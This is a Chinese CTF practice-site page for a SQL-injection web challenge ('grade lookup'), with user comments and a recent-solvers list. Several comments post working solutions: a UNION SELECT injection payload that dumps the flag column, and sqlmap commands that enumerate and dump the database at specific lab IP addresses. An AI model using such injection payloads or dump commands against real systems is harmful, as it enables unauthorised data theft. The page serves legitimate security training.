成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 11039
提  示:
描  述:
来源山科大ctf
评论
nihaozy 7月前

Sqlmap 查看是否可以注入,然后看有啥库发现skctf库,然后看有啥表发现fl4g表,fl4g表中看有啥字段,发现skctf_flag ,然后查看字段内容-C skctf_flag然后就发现了flag

回复 1

QASZXEDCF 7月前

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

回复 2

liuguowang75 8月前

继续学习

回复 0

HK1ng 8月前

手注,没有任何过滤,可以bp抓包,然后重放。

回复 0

goodsnack 8月前

不会sql注入

回复 0

cfggfbfxdgbb 10月前

sqlmap -u http://114.67.175.224:13774/ --forms --dbs sqlmap -u http://114.67.175.224:13774/ --forms -D skctf --dump Y 回车 Y Y Y

回复 1

Dou豆百万 10月前

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

回复 6

yangbing8555 11月前

需要绕过一下

回复 0

3495825647 11月前

'union select (select skctf_flag from fl4g),2,3,4#头发乱糟糟

回复 2
Panxy 11月前

会飞都没用

回复 0

mbda03 12月前

sqlmap -u "http://114.67.175.224:10871/index.php" --data "id=1" --current-db -T fl4g --columns

回复 1

WriteUp

image
harry

2 金币

评分(22)

解题动态

17690101466 攻破了该题 15小时前
15939373373 攻破了该题 17小时前
zhangzhengyao 攻破了该题 18小时前
你好世界0001 攻破了该题 19小时前
所以flag在哪? 攻破了该题 21小时前
demonsong 攻破了该题 1天前
tomato_cat 攻破了该题 1天前
369563323 攻破了该题 1天前
gondluck 攻破了该题 1天前
邪恶的番茄 攻破了该题 1天前
Fengyu3321 攻破了该题 2天前
Z-M-S 攻破了该题 2天前
benx4899 攻破了该题 2天前
Yuyukon 攻破了该题 2天前
liang123456 攻破了该题 2天前
南京交通第一深情徐立超 攻破了该题 2天前
2360657787 攻破了该题 2天前
igrazee 攻破了该题 3天前
xiaodd 攻破了该题 3天前
wei8007 攻破了该题 3天前
问题反馈